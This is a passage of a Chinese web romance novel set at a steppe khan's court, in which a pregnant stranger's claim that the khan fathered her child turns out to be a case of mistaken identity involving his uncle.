喜欢一个人,当真是件极为甜蜜的事。再寻常的触碰,再寻常的话语,与那个人有关时,便如这漫山遍野的花,开遍心底,开也开不尽。
* * *
赫连煊对乌琪有好感,穆凝姝一直放在心上。
之前因种种意外,耽误许久。如今春暖花开,乌琪的事也该提上日程。
眼下虽无春月节那会儿的便利,但破除对赫连煊的误解后,穆凝姝不觉乌琪同他在一起能有多危险。
所以最关键的,仅剩一步——惊艳登场。
月亮一年四季有,草原的花朵却仅限春夏。
赫连煊总说带她赏花,私心里她十分怀疑,他其实是自己喜欢,只是大老爷们不好意思,正好借她之故。
包袱还挺重。
回到帐中,穆凝姝决定投赫连煊所好,着手设计花花大舞台。
乌琪擅长跳舞,但嘴上没个把门的,一定要扬长避短。到时候,让她旋转跳跃转不停,能闭嘴就闭嘴。
一连几日,穆凝姝奔忙于各个草场,寻找适宜场地,回房就画图改设计。
小可爱围在她脚边乖乖陪伴,不吵不闹。好好的狼,被她养成一只嗲嗲狗。
日子过得极为充实,连佗佗和乌琪的读书会,她都没时间去。
不去也罢。
敕加那点子春夜嚎文学,没什么好谈的。
况且,她还有另一重顾虑。
腹有诗书气自华,相应的,读太多杂乱东西,难免影响心性。
她而今对赫连煊心心念念,看话本子时,总能联想到他。寻常爱恨情仇倒还好,敕加这种,她深深担忧,自己受其影响,做出点不恰当的行径。
赫连煊挺敏锐,比她还了解她自己,早知她有登徒子潜质。她坚持本分,好不容易摆脱此印象,取得他信任,万万不可毁于一时冲动。
舞台设计定稿那天,穆凝姝踌躇满志,正打算让阿香叫乌琪过来一叙,却等来赫连煊出征的消息。
草原尚未统一,几大部落之外,还有许多小部落。
春季牛羊繁殖,部落间经常为水草丰茂之地争斗,一般轮不上赫连煊出征,这回估计是敌人比较棘手。
她的计划只能暂时搁置,希望赫连煊快点儿回来,不然她的花花大舞台,只剩舞台不见花儿。
赫连煊走后第三天,侍卫前来禀报,有个女人前来找大单于,带有赫连部信物。
穆凝姝拿过一看,确为赫连氏的玄铁鹰牌。
赫连煊不在,穆凝姝代为接待。
女子名唤阿素珊,看年岁,只在十七八。容貌秀丽,打扮朴素,应是出身普通人家。
她腹部高高隆起,身孕少说也有七八个月,脸上紧张拘束,连贵族礼数都不会。
穆凝姝赐座,和缓笑道:“阿素珊姑娘,看状况,你已有身孕,出行不易。不知你远道而来,所为何事?”
阿素珊捧着肚子,嗫嚅道:“我、我也是没办法。我肚子大了,却还未成婚,在家中待不下去。阿爹逼我嫁人,我不肯,只好试着来找找孩子爹。我一路拿信物问路,找到此处。”
赫连氏的玄铁鹰牌,仅限于赫连高等贵族。像佗佗那样,出身旁支家族,且为不起眼的庶子,就没有资格获得鹰牌。
这般一排除,范围缩小很多。
穆凝姝有种不祥的预感,问道:“孩子的爹……叫什么?”
阿素珊抿唇,不知想到了什么,脸红含羞,道:“他叫,赫连煊。”
第29章 第 29 章 29放不下
大概过问了阿素珊几句孩子爹的长相、年龄之类, 穆凝姝吩咐阿香带她下去,先安置住下。
信息基本对得上。
褐发,金瞳,高瘦清俊, 青年人。
她初到赫连部时, 赫连煊十七岁, 不过是身量比现在稍低些, 长相无差,若不说年岁,猜个二十,也说得过去。
十八岁和二十来岁的人,外表差距不大。
且赫连煊面若刀削, 线条锋利, 风格本就偏成熟。
她脑子里空白一片。
他的孩子。
他和别人有孩子了。
乌琪担心道:“凝姝,你还好吗?”
“嗯?”她回过神,扯唇笑了下,“我没事啊。我在想该叫哪个御医过去看顾阿素珊。单于这趟出门,带走了许多御医,雅曼孩子以及几个阏氏都病了,又占用着几个——”
乌琪打断她,道:“这些不用你操心, 我让佗佗去安排。你先低头看看,茶都洒衣裳上了。”
她闻声低头,连忙端正茶杯放桌上, 扯过帕子擦擦。
“就这还说没事。嘴硬。”乌琪叹气忧心,看向她的肚子,“唉, 怎么就半路杀出个孩子来。凝姝……你还没动静啊?”
穆凝姝愣住,随之看向自己平坦的小腹。
她能有什么动静?
一个人又不能凭空造个小宝宝出来。
但见乌琪焦急模样,她不想让好友替她操心,没再提赫连煊同她当床搭子当成一股清流的事。
毕竟都这么久了,孤男寡女,君主和妃嫔,井水不犯河水……听起来确实不怎么正常。
她轻松道:“没动静就没动静吧,顺其自然。再说,雅曼难产时,差点命都没了,没动静不见得是坏事。我都不急,你急什么。”
乌琪安慰道:“也是。我是怕那女人影响到你的地位。凝姝,单于很喜欢你的,你别多心。即使阿素珊生了,我们也不怕。”
“嗯,我知道。”穆凝姝亦是安慰好友几句。
好不容易送走乌琪,没一会儿,毡帐门口又冒出个脑袋来。
穆凝姝朝那人道:“今天的不速之客倒是多。你无事不登三宝殿,说吧,找我何事?”
雅曼顶着一脑袋羽毛,身着彩色羽衣,手中拿着把羽毛扇,一步一摇晃,朝她走来,活像只求偶的野鸡。
上回在鸿门宴卖乖投诚后,雅曼彻底放弃宠妃道路,改换赛道,跑去找赫连煊说自家祖上代代为巫祝,求他给予巫祝之职,让她继续发扬祖传事业。
刚好赫连煊杀了伙同哈察,指责穆凝姝晦气的巫祝,空出职位,便应允雅曼。
雅曼不愧为两朝宠妃,心思玲珑,舌灿莲花,专门挑赫连煊爱听的说,成功解除圈禁处罚,巫祝之路混得不错,咸鱼大翻身。
不过,穆凝姝除了偶尔去看看雅曼的女儿小福宝,平日里跟她来往不多。
小福宝软软糯糯,她无法拒绝一切可爱的小崽子。
雅曼笑眯眯走到穆凝姝身旁,羽扇轻摇,看好戏道:“听说有人寻亲寻到赫连煊头上啦,这么大的热闹,本巫祝可不能错过。啧啧,凝姝阏氏,想哭就哭吧,大家都是女人,我懂。”
穆凝姝道:“你消息这么灵通,要不要我告诉赫连煊,替你吆喝下你的打探功力?”
雅曼哽住,连忙笑道:“我开玩笑呢,凝姝阏氏何必同我计较。再说,我一收到消息,赶紧跑来替你排忧解难,念在我这份心,你也不能参我一本啊。”
穆凝姝疑惑:“我要你排什么忧解什么难?”
雅曼笑容泛起冷意,杀机显露,道:“当然是,那个叫什么阿珊的。平白无故冒出来的女人,妄图混淆赫连氏皇家血脉,其心可诛,你以此为由,今晚就处置了她。草原广阔,随便找个远点儿的地方一扔,要不了几天,野狼吃得渣都不剩。此事了结。”
雅曼分析,即使阿素珊的孩子是赫连煊的血脉,他当初一走了之,继位后也没去将人接回王庭,可见他对阿素珊并不上心。杀就杀了,他不会在意。
穆凝姝奇道:“她叫阿素珊。雅曼,你连人家名字都不知道,对她哪来这么大仇怨?杀人抛尸,急不可耐。”
雅曼更奇怪,拧眉疑惑道:“谁说杀人一定需要仇怨?无论是妃嫔间争宠,还是部落间战争,大家无非是为争资源,争前途。仇怨是结果,不是原因。谁挡了你的路,你就除掉谁。你若心软做不到,这事儿我替你办,算是报答你血参之恩,不必客气。”
穆凝姝揭穿她,道:“你我之间,别装。你如今不打算争赫连煊的宠,阿素珊能挡你路什么路?雅曼,你少花言巧语。你也是有孩子的人,何苦下手这么狠。”
雅曼叹口气,“你这人,该聪明不聪明,不该聪明时,又惹人厌。”
她以扇掩面,又笑道:“好吧,我费心前来当然是为了自己。穆凝姝,如今你这样的傻子可不多见,新来的那个,若母凭子贵,取代了你,我可不敢赌,在她手里比在你手里过得舒服。就因为我有孩子,更得尽力清除危险。其实比起我,她对你威胁更大,万一生下个儿子,你就完了。我们利益一致,你听我的,前任宠妃为您护驾,你绝对不亏。”
穆凝姝呵呵一笑,道:“你说得很有道理。但本阏氏不认你的理。我不干。”
雅曼打个寒颤,刚才一瞬间,仿佛在穆凝姝脸上看到了赫连煊的惯有表情。
桀骜的挑眉笑。
雅曼晃晃脑袋,抖了抖道:“哇,你跟赫连煊混在一起,连神情都被他污染了……超恶心的……”
穆凝姝继续保持此表情,道:“你继续说,等他回来,我一定原封不动转告。你现在走,我当你没来过。”
“你——走就走!你别跟他说!”雅曼一听赫连煊,立刻怂,跺跺脚遁走,到门口时,举起扇子指着她,恨铁不成钢,“烂泥扶不上墙,迟早有你哭的一天!”
气走雅曼,穆凝姝的笑渐渐垂落。
今晚怕是睡不着了。
* * *
既是无眠,穆凝姝前往阿素珊的住处看看。
恰好张奉景为阿素珊诊脉结束,见她过来,调笑禀报道:“这胎象稳得出奇。八个月身孕骑马颠簸,长途跋涉,竟然毫无异常。孩子爹娘,身子骨够稳健啊。”
阿素珊细细舒口气,显然安下心来,垂首抚摸肚子,眉眼间尽显属于母亲的慈爱与温柔。
张奉景收拾好药箱出去,房中只余她们二人。
阿素珊要起身行礼。
穆凝姝拦下,拉张椅子坐到其对面。
阿素珊道谢,偷偷看她,腼腆道:“阏氏,您长得真好看,跟画里走出来的神女似的。他有你这样的妻子,旁人自是再入不得眼。那会儿,我不知道大单于的身份,这样的贵人,我想都不敢想。”
她紧张拘束,坐在床上一动不动,眼中强压惶恐。再没见识的人都知道,这种情况下,男人没找到,却落到当家主母手里,凶多吉少。
穆凝姝想到从前的自己,淡笑道:“我不是他的妻子,只是妾室。你不用怕,我不会对你和孩子做什么。单于回来后,自会给你个说法。”
阿素珊发觉眼前人毫无恶意,甚是感激,说出自己的忧虑:“我贸然前来,也不知他会不会认下这个孩子……我也是没有办法。”
她说出事情原委。
阿素珊出身普通牧民之家,家里在道路旁摆茶肆,赚点儿过路人的茶水点心钱。
去年,赫连煊偶然经过,同她相识。少男少女,春心萌动,阿素珊对他一见钟情,生出款曲来。但赫连煊未停留太久,在那里休息数日后就离开了。
之后,再未回去过。
说起昔日情形,阿素珊面色飞红,又不免难过,道:“他走时给我留了钱,玄铁鹰牌是他无意落下的,我都偷偷藏着,没让爹娘收去,才有路费盘缠可用。”
孤身孕妇,千里寻夫,其中艰辛,穆凝姝想想都觉可怕,问道:“你和他仅仅相处三五日,便没了后续。为何不堕了这胎,或者就在家生下来,带着孩子重新嫁人?”
敕加女人带孩子改嫁很常见。
阿素珊哀叹道:“我爹娘也想让我堕胎,可我舍不得这孩子。后来,他们找了个愿意娶我的男人,逼我草草出嫁,能换点儿嫁妆是一点。我亲爹娘尚且如此对我,若我随便嫁人,后爹更不会真心疼爱我肚子里这个非亲非故的孩子。我没办法,只能出逃。”
穆凝姝不禁心生敬佩,道:“你看着柔弱,胆子和决心倒是挺大。”
阿素珊笑容羞赧,道:“还是不甘心吧。见过他那样的人,旁的男人,我哪里还肯嫁……我很喜欢他。这一路上,希望渺茫,我心想着,若找不到他,我就去找活儿干,单独养孩子。没想到运气好,找到了这里,还遇到你。”
穆凝姝一向被人说傻气,今日却见到了比她还傻气的姑娘。
阿素珊有问必答,说起自己同赫连煊相处的点滴。
他给她折蟋蟀,吹骨笛,唱歌……他说话的声音很好听,想必唱歌更好听。
时光虽短,却着实甜蜜,难怪阿素珊怎么都放不下他。
穆凝姝想起之前对自己的怀疑。短短三个月就喜欢上赫连煊,太快,太不稳重。
现在看来,喜欢上他,实乃呼吸一般简单。
别说三个月,三天、三个时辰、甚至看上三眼,足矣。
前些日子,她还想,若她遇上事,必定不会像玛茹那般癫狂。
不料,现实来得这样迅猛。
……真是一场酣畅淋漓的试炼。
第30章 第 30 章 30雀跃
“你当真打算留下这个后患?”
穆凝姝走出毡帐, 张奉景声音传来。
他斜斜靠在毡帐围壁上,脚边放着药箱,显然候在此处没离开过。
穆凝姝笑道:“佗佗,你何时多了个听人墙角的坏毛病?怪猥琐的。”
张奉景未接话, 弯腰侧低头, 绕着她慢悠悠转了半圈, 盯着她的脸。
穆凝姝敛笑, 摸摸自己脸,佯怒道:“干嘛这么盯我?没礼貌。”
他看够后,笑了下,冷不丁道:“你喜欢赫连煊。”
不是疑问语气,是笃定地下结论。
穆凝姝一个趔趄, 差点脸着地, 反驳道:“胡、胡说!”
张奉景冷哼一声,笑得了然,道:“发生这种事,你可以焦虑阿素珊影响你前途,也可以烦躁赫连煊沾花惹草却要你善后,唯独不该是忧伤。可惜我现在手里没个镜子。凝姝,你该看看自己的表情,尤其是眼神。”
穆凝姝静默会儿, 无奈道:“有那么明显吗?”
张奉景道:“明显啊,特别明显。你来赫连部这两年,日子过得凄凄惨惨, 却总能自得其乐,今天这状况,难得一见。你若真喜欢我这……”
他顿住, 思来想去,找不出合适的亲属关系代称,继续道:“我回去查过族谱,赫连家过于枝繁叶茂,在下不才,实在理不清我和赫连煊的关系,不提这遭也罢。你若真喜欢这位赫连兄弟,依我看,你自虐倾向不轻。”
穆凝姝:“此话怎讲?”
张奉景:“方才阿素珊说起她和赫连煊的事,你全程听完,还追问细节。你是嫌不够心痛?听八卦听得颇有献祭精神。”
穆凝姝笑下,道:“这个,你应当很理解才是。越是熟人的八卦,听起来越起劲。我枕边人的桃花往事,我自是按捺不下好奇心。好吧……我的确喜欢赫连煊。”
说着,她再度静默,良久,微微叹口气,认命轻松道:“没办法,他处处正中我所好,还天天在我眼前晃,很难不心动啊。此事你不要告诉乌琪,她性子冲动,本就对阿素珊不满,我怕她为我做傻事。至于你所说的后患,阿素珊如何处置,唯有赫连煊能决定,我们不能也不该动她。心嘛,偶尔痛一痛,多跳几下重的,未尝不是种锻炼。正所谓……痛并快乐着。”
张奉景安慰道:“阿素珊八个月前同赫连煊在一起,那时候,你跟他还不认识。算算日子,他那会儿正忙着策划夺位大事,压力大。毕竟是个男人……路遇漂亮姑娘,露水情缘,稍纵即忘。说不定赫连煊自己都不在意,你也该想开些。”
穆凝姝不太认同此话。
依据她这段时间的感受,赫连煊并非轻浮随意之人。
他肯跟阿素珊亲近,当时多少有点儿喜欢她。那会儿,他还不是单于,也未告知阿素珊真实身份。阿素珊依然爱慕他,不辞艰难寻找,确有一颗真心。
穆凝姝道:“我没什么想不开。阿素珊坚韧温婉,通情达理,是个好姑娘。有这么一个人跟他情投意合,总归不是桩坏事。况且,她还有他的孩子。他自小家中不幸,因而格外珍视家人。多了一个血亲骨肉,我该为他高兴。”
张奉景虽然理不清自己和赫连煊的亲属关系,但他们二人年岁相近,同在王庭,儿时就认识彼此。张奉景为人活络,知晓赫连煊的身世。
她又道:“若赫连煊不是忘记,而是故意始乱终弃,辜负阿素珊,那便不值得我喜欢,就此放下也算解脱。所以,无论怎么看,都还好。”
张奉景道:“你能这么通透,甚好。啊,想想也是,你喜欢他,却还愿意给他推荐乌琪,这样的心胸,确实没什么想不开。是我低估了你。”
穆凝姝调侃:“你喜欢赫连煊吗?喜欢的话,我也给你推荐推荐。你是男人也没关系,不要太狭隘,真爱面前,民族不是问题,男女更不是问题。”
张奉景笑道:“那敢情好。我太想进步了,求凝姝阏氏务必提拔我。到时候我们四个,床上打完肉架,床下还能凑桌麻将,时时刻刻不闲着。”
“说话真糙,你少看点敕加烂书吧。”穆凝姝知道他在逗自己开心,也扯起笑来,“谢谢你,佗佗。事发突然,我还没调整完全好心态,暂时做不到对阿素珊毫不在意,辛苦你亲自看顾下她和腹中胎儿。注意提防雅曼。”
“好说,放心。”张奉景拍拍她的肩,“赫连煊打小招姑娘们喜欢,如今位高权重,今后此类事,恐怕只多不少。你早些经历也好。别太为难自己,你做得够好了。”
为难吗?
并不。
如赫连煊对哈察说过的那样,他们之间,首先论君臣,其次才是舅舅与外甥。帝王与后妃的关系,亦该如此。
喜欢他的女孩子多如过江之鲫,又有玛茹为其中翘楚,他觉着麻烦,再正常不过。
赫连煊明确说过,不想要乱七八糟的爱。
先前她做得挺好,而今对他心生爱恋,是她在妃嫔一职上不够专业。
她心底庆幸赫连煊出征在外,否则今日这事突如其来抵在眼前,她的小心思怕是藏不住。
多给她点时间,必能有所长进。
* * *
天空蓝蓝,绿草茵茵,蓝与绿蔓延了无边际,马场中的一处马棚经精心修葺后,立在这片蓝绿中,成了个休闲的好去处。穆凝姝让人搬了张贵妃榻,躺在上头晒太阳,眺望小可爱和小马驹打架。
玛茹策马而来,望着躺椅中的人,身姿玲珑起伏,神情怡然自得,气不打一处来。
穆凝姝抬眼,打呵欠道:“你挡着我太阳了。单于下过令,不准你来找我。”
玛茹怒道:“你少拿表哥压我。这是偶遇!偶遇!马场公共场合,谁都能来。”
“行。”穆凝姝不同她置气,拿过旁边的点心盒子,递给她,“吃吗?”
玛茹冷笑道:“哼,你倒是一如既往悠哉,照旧吃得下睡得着。”
“那不然呢,哭?小表妹,你要是打算看这出戏,我劝你别浪费时间。本公主不提供此项演出。”玛茹不接零食,穆凝姝自己拿着吃,奶提子甜甜的。
的确没什么需要她哭。
这几天她想通了。
她喜欢赫连煊是她的选择,没人逼她。
他从未在感情上承诺过要给她回应。
那么一切就很明晰,她喜欢赫连煊,纯属自作孽,和他无关。
而在这场自作孽里,幸亏她生性不似玛茹癫狂,她想给他更好的关于爱的体验,宽厚地对待喜欢他的人。
如此,既不用为难自己的良心,也不用为难任何人。
玛茹见她的悠哉不似强撑,心中不平道:“发生这种事,你还如此淡然,穆凝姝,我真羡慕你,你不爱表哥,却能占有他。我爱他,偏偏求而不得。老天真是不长眼。他更不长眼。”
穆凝姝对玛茹的话笑而不语。
看来她这几日果真有所长进,不像先前在张奉景面前那般,藏不住事。
两人没说几句,阿香跑来禀报,赫连煊回来了。
这么快吗?
穆凝姝擦擦手中甜腻,前去接见。
王庭中,闲杂人等退下。
他朝她走来,拂去她发上的青草,一如往常。
她发上容易沾染些乱糟糟的东西,暴露出刚做过些什么,毛躁得有点可爱。
赫连煊看了她一会儿,道:“瘦了些。”
穆凝姝不自觉躲开他的手,笑道:“天气渐渐暖和,自然会瘦些。”
人还是那个人,但忽然成了人家的孩子爹,就有种说不出的陌生与别扭。
她满心都是阿素珊的事,又不知该如何说起。
说你旧情人来找你了,似乎过于轻挑。
直接提阿素珊,若他连名字都不记得,又得费番工夫替他回忆前缘。
穆凝姝仔细斟酌一番,直奔核心,肃然道:“单于,你未出世的孩子想见你。”
赫连煊唇角笑意骤然消失,眼睛看向她小腹,道:“你……穆凝姝——”
穆凝姝:“……?”
好好的干嘛突然又叫她全名!
他眼中闪现过震惊和痛意,声音里尽是冷冽,“孤才离开半个月,你竟红杏出墙,还敢来找孤认下此等孽种。穆凝姝,你把我当什么人?你——”
穆凝姝呆愣住好一会儿,他也太敢想了,怒道:“你胡说什么,是你的孩子,你的!”
赫连煊静默片刻,幽幽道:“……你别跟我扯‘有感而孕’,孤不信这种鬼话。”
穆凝姝懒得跟他废话,直接拉住他,朝阿素珊住处走去,指着浑圆的大肚子,道:“你跟她的孩子。我把人给你照顾好了,剩下的,请单于自行定夺。”
赫连煊同阿素珊对视三秒,同时问她:
“他是谁?”
“她是谁?”
穆凝姝:“……”
阿素珊再度辨认,确定道:“不是他,真的。他的模样,我不可能认错。”
思来想去,只能是同名同姓,抑或冒名顶替。
阿素珊边哭边道歉,直言给大家添了麻烦,自请离去。
穆凝姝心情跌宕起伏半个月,想了一圈可能性,唯独没想过能闹出这么大的乌龙,呆呆愣愣,安慰身旁希望破灭的阿素珊,劝她稳住心情,勿动胎气。
这么大的月份,随时可能临盆,即使不是赫连煊的孩子,也得等顺利生产后才能让她走。
赫连煊揉揉额心,跟札木尔耳语几句,拉着穆凝姝的手离开毡帐。
孩子父亲,不是赫连煊。
穆凝姝本以为经过此试炼,她已经通透了,却在得到这个答案的瞬间,整颗心雀跃难抑。
结果比她幻想中的一切都要好。
根本不是他。
她狠狠拧下大腿。
拼命压抑嘴角,别翘,千万别翘啊死嘴。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m
30-40
第31章 第 31 章 31缱绻
赫连煊见她蹙眉凝重, 嘴角微微往下坠着,道:“不是孤的孩子,你很失望?”
穆凝姝忍痛道:“唔——啊这……本以为会迎来单于的嫡子,没料到空欢喜一场。这个真是……好痛。”
最后这句发自内心。
太高兴, 一不小心用劲儿太大。
赫连煊道:“哦。公主好度量。”
再未多言。
她听在耳中, 这句夸奖, 不够热烈。抬眼偷瞄, 赫连煊神情冷淡,看不出多少情绪。
难道还嫌她不够真心实意?
他对妃嫔的要求,简直高得不合常理。
以当时状况,她没杀掉阿素珊,着实配得上一声菩萨心肠。
若还不满意, 那也没办法。
她没笑出声就不错了。
更进一步的夸张贤惠, 她演不出来。
她低头看向二人交握相牵的手,唇角拼命上扬,再也无法自控。
* * *
前线战事并未结束,赫连煊回毡帐后,又处理了好一会儿前线军务。
待部下都离去后,他仰脸后靠在椅背上,双手自然垂落,像朵盛极而衰的花, 颓败,靡丽。
穆凝姝走到他身侧,道:“你袖上破了道口子。”
她伸手摸摸, 还好,没有血迹,没受伤。
“不必在意。扔掉就是。”赫连煊瞥一眼, 是刀剑割开的。
穆凝姝取来针线包,坐到他身旁,道:“可是这件衣裳你穿着很好看呀,扔掉多可惜。你不用动,衣裳穿着也能缝。”
她垂眸缝补,睫毛落下片长长的阴影。
双唇莹润,挂着笑意,看样子,心情颇好。
……没心没肺。
他心生郁气,转过脸去。
穆凝姝凑近,咬断线,笑道:“好啦。单于,你瞧瞧缝得满意不满意?咦,怎么不理我?你理一理我呀。单于——”
他回过头敷衍:“嗯。还行。”
她仍旧好心情,得意道:“这个是藏针法。保证一点儿都看不出痕迹。”
他未作声。
今晚的他格外冷漠。
有句俗话,小别胜新婚。
大概因为他们从未有过新婚,别不别的,就更不存在吧。
可是,她想他。
因阿素珊一事,这半月来,她虽努力排解,心中对他难免芥蒂,此时得知真相,压抑的思念和相见的欢喜同时反扑,逼得她不停向他靠近。
穆凝姝低头收起针包,往上扎缠针线,动作缓缓。
大单于多得是衣裳,哪里需要缝补呢。
但这是个极好的借口。
她心知肚明。
忽然听到他一声叹息。
“算了,原谅你。”
他的声音极轻。
原谅?
原谅她什么?
她未来得及细想,腰间一紧,被他拽到腿上坐着,心思全被他的动作拢去。
他的手覆在她脸侧,温暖干燥,指尖有熟悉的薄茧带来的微微粗砺。
她脸颊抵在他掌间,轻轻摩挲。
唇上忽觉柔软。
他浮浮贴住她的唇,是个极轻的吻,一触即逝。
高挺的鼻尖抵在她唇角。
她突然就不知该如何呼吸。
良久,听到他低沉的闷笑,“张开嘴也可以呼吸。”
她向来听话,此时脑子懵懵,更是毫不犹豫听从一切。
嘴一张开,顷刻间被他侵占。
不,不是侵占。
明明她满心乐意与欢喜。
她攀附住他的肩,回应这个绵长的吻,谨慎而自然,偷偷享受此刻缱绻。
他们之间没有旁人。
即使他对她没有男女间的爱意,至少此刻,她是他身边唯一的亲近。
这样就很好。
这样已足够。
到分开时,她软绵无力,瘫在他怀中喘息。
若算是奖励她的懂事……他赏罚还挺分明,挺大方。
穆凝姝终于再度想起阿素珊,道:“你不是阿素珊找的人,那她怎么办?她孤身一个女子……到底是谁这么缺德,还同你撞名?你们草原上,不用避讳贵族名字吗?”
赫连煊拨弄她被他揉乱的长发,道:“这个问题,很快会有答案。”
* * *
五天后,赫连煊口中的答案出现。
褐发金瞳青年,风流倜傥,神态潇洒,看上去比赫连煊大几岁,气质却远不如后者沉稳。
阿素珊一看到此人,立刻扑进他怀中,痛哭流涕。
这回找对了。
“啊不哭不哭,乖乖——”倜傥青年搂着她一顿柔情安慰,末了,温柔询问,“不过……姑娘你姓甚名谁啊?”人瞧着眼熟,但绞尽脑汁也想不起到底在哪儿见过她。
此操作惊呆穆凝姝,人还能渣成这样?她看向赫连煊求助。
赫连煊面无表情,道:“孤的小叔,赫连天林。”
赫连天林为赫连煊父辈中的幺子,只比赫连煊大五岁。
当年二哥和大哥起纷争,他年岁尚浅,被家臣带着逃去外地。局势稳定后,他偶尔回来看看惨淡的侄子赫连煊还活着没。
赫连天林无心政途,流连花丛,四海为家。
有段时间在外名声太坏,遭几个部落公主悬赏暗杀,他便改顶赫连煊名头,继续玩乐,还美名其曰,是替赫连煊打掩护,营造风流人设——过分正经的太子,赫连天雄容易生疑,人无癖好不值与之交。
赫连煊没空管这荒唐小叔,亦不在意此等微末。
这回却闹得离谱,姑娘家怀着身孕找上门来。
赫连煊当即想到是赫连天林惹出的事,吩咐札木尔带兵搜查各地酒肆和歌舞场,将他抓回来。
赫连煊道:“你做的事,你自己负责到底。赫连部正值多事之季,缺人手,你留下做事,半年内不准离开王庭。”
赫连天林笑吟吟应下,安抚好阿素珊,命下人将她送回毡帐,自个儿留在此处,说是要叙叙旧。
穆凝姝见状告退,陪阿素珊一同离去。赫连氏人才济济,可怕可怕。
赫连天林闪着一双桃花眼,看向穆凝姝背影,朝赫连煊笑道:“阿煊,你向来古板无趣,不惹芳心。许久不见,竟多出个侄媳,太阳打西边出来。”
赫连煊没对“侄媳”一称提出异议,只道:“总好过你到处沾花惹草。如今孤为单于,且已有家室,以后不准再顶着孤名字惹事。”
赫连天林颇为稀奇,哀怨道:“哟,看你架势,还挺认真。我们赫连家不会又要出个情种吧?救命啊,千万别!”
情种可不是什么好东西,尤其对于皇家。
他那两个亲哥的旧事,历历在目。纵然外界传闻全是关于王权霸业,江山谋略,他身为局中人,却知道此事源于情杀。
赫连煊母亲耶律槿,曾为草原第一美人,追求者能从草原排队到中原。
她跟赫连家两兄弟年纪相仿,青梅竹马。
问题是,青梅小美人再好,只有一个,最后,耶律槿花落大哥赫连天云。
二哥赫连天雄对她爱得病态又极端,求而不得,备受煎熬,竟发疯造反弑兄,血债累累。
他跟赫连煊深受其害。
赫连天林想起穆凝姝的来历,此女为赫连天雄妾室,赫连煊杀了他,收继而来。
赫连天林感慨道:“好一场孽缘循环。阿煊,要我说,你们都太想不开。身为帝王,最不缺女人,你们太过偏执,若能像我一般洒脱,咱们家门也不至于如此不幸。”
赫连煊淡淡道:“你也不至于如此着急给你的荒唐行径开脱。”
赫连天林哽住。
这侄子,跟从前一样,一点都不可爱。
不,应是更不可爱了。
曾经少年老成,性子冷淡,现在还多出几分暴躁。
赫连天林推测道:“难不成是因为阿素珊的误会,你们吵架了?但此事已然说开,侄媳不该太小气。她若还闹腾,你换个更乖巧顺从的就是。草原何处无芳草。”
赫连煊难得认真回答他:“不。她一点都不生气,相反,她以为阿素珊怀着孤的孩子,将她照顾得很好。你说,这说明什么?”
赫连天林拊掌赞叹道:“说明侄媳性子好,人品更好,是个好姑娘啊!这年头,没醋性的姑娘难得一见,换作玛茹,你试试,怕是得直接砍死我亲爱的阿素珊。”
赫连煊冷笑:“方才你连阿素珊名字都说不出,现在就成了亲爱的。你不觉得可笑?”
赫连天林眨巴桃花眼,道:“不可笑啊,这说明我心态好,到哪座山上唱哪支歌。依我瞧,侄媳心态跟我有一拼,她一中原公主,深受礼教束缚,却出嫁三次,夫君是谁全看命,较真点儿早活不下去了……哎呀呀,阿煊,你脸色怎么更难看了?啧,玛茹活泼闹腾你不高兴,侄媳奉你为主,贤惠大度你还是不高兴,你真难伺候哇。”
* * *
因赫连煊之命,赫连天林无法外出风流快活,只得留在王庭做事。他为人虽没个正形,却是个训练战马的好手,天天在马场晃悠。
春季正值畜牧繁衍,穆凝姝在马场教导新人如何救助动物。
新晋小兽医们很喜欢这位和气的阏氏,开口全是夸夸,情绪价值拉满。
穆凝姝每天成就感满满当当,白天几乎都待在马场。
在小马棚休息时,赫连天林常来蹭吃蹭喝。
她不知该如何称呼为好,不是每个人都愿意让她认亲戚。
叫哈察一声舅舅,他能生气三天。
赫连天林看出她的顾虑,爽快笑道:“侄媳何必见外,当然是喊我小叔啊。你照顾我家阿素珊,我还没来得及谢你,不好意思,小叔现在手头有点儿紧,等我下个月拿到俸禄,一定给你弄些好东西。本王说到做到。”
相处下来发现,赫连天林性子极为随和,说话风趣。
毛病也明显,花心。
小丫头端茶递水,他都得先朝人家抛个媚眼,再说谢谢。
对此,他却颇为理直气壮:“我虽风流,却不下流,从不干强抢民女的勾当。若人家姑娘对我没兴致,我媚眼抛给瞎子看,妨碍不到她。人家要是对我有意思,大家情投意合,快乐一阵,好聚好散。自打出江湖,我赫连天林可从没亏待过谁,每回都给一大笔钱。你瞧我缺钱缺的,哪里像个贵族。富了她人,穷了自己,何尝不算种慈善?”
穆凝姝被他的厚脸皮逗笑,揶揄道:“不亏待?那公主们追杀你做什么?”
赫连天林摸摸鼻子,道:“贵族公主们不缺钱,就图我这个人。我不肯从,她们咽不下这口气,可不就追杀嘛。爱之深,恨之切,这样不好。欸,还是侄媳你好,我看你跟阿煊很合得来。哎呀呀,不要说我了,你就不想知道阿煊的事吗?”
穆凝姝假咳两下,道:“背后打探他人隐私不太好吧……大单于不怎么跟我说他的事。不过,你若非想跟人说道说道,我也不是不能勉强听一听。”
赫连天林从善如流,笑道:“没错没错,是我非要说。我这人嘴巴闲不住,劳烦侄媳陪无聊老人家唠唠嗑。大家闲着也是闲着。”
第32章 第 32 章 32不解风情
人在得意时, 处处鲜花着锦,烈火烹油,譬如,年华正好的耶律槿。
草原第一美人, 引得诸雄追捧, 让实力算不上顶尖的耶律氏声名大噪, 一度以耶律槿为豪。但争夺发展为血案后, 一切就变了味。
赫连天雄嗜血疯魔,耶律槿稍不顺从,他就以耶律氏和赫连煊为要挟。
耶律氏皆怕引火烧身,祸及全族,纷纷劝她识时务。昔日荣耀, 化身祸源。
年幼的赫连煊去哈察家避难时, 不太受待见。
舅舅舅母能收留他,已是大恩,但对于一个随时可能带来血光之灾的孩子,他们着实热络不起来。纵然面上待他和气周到,其中疏离,赫连煊感觉得到。
玛茹倒很喜欢这个俊俏的小表哥,常常缠着他玩。
她自小任性,有一次跟父母吵架, 离家出走,到处找不到人。冬天积雪厚重,马匹无法行走, 只能人力寻找。赫连煊在干涸的河沟中找到她时,她摔断了一条腿,无法行走。
那年赫连煊只有十二岁, 背着玛茹,硬生生在风雪中走了十多里路,带回家中。
自此以后,玛茹越发依恋他。
舅母因此益发不高兴。她只有玛茹一个独女,恐她遭落难太子牵连。
赫连煊年岁渐长,亦觉不妥,有意回避。恰好赫连天林回来看他,他便跟着小叔离开,鲜少再去耶律部。
赫连天林回想道:“那是阿煊唯一一次求助我。我带他走后,他问我想不想当大单于,竟撺掇我杀了我二哥。”
穆凝姝:“当时你怎么说?”
